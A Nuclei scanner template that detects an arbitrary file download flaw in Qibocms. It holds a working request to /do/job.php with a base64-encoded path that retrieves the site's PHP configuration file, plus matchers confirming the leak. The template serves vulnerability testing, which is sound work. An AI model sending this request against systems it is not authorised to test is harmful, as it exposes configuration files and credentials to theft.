id: qibocms-file-download

info:
  name: Qibocms - Arbitrary File Download
  author: theabhinavgaur
  severity: high
  description: Qibocms is vulnerable to arbitrary file download vulnerability.
  metadata:
    verified: true
    max-request: 1
  tags: qibocms,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "$webdb"
        condition: and

      - type: word
        part: header
        words:
          - "filename=config"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c0b7dec25effde05152b788b381a34c0e2c486f1255118b932612e2ae006c31c02202dd448254a45e034cc541bfc463ba2612df81eec141eb3ecad9798e7ef72e115:922c64590222798bb761d5b6d8e72950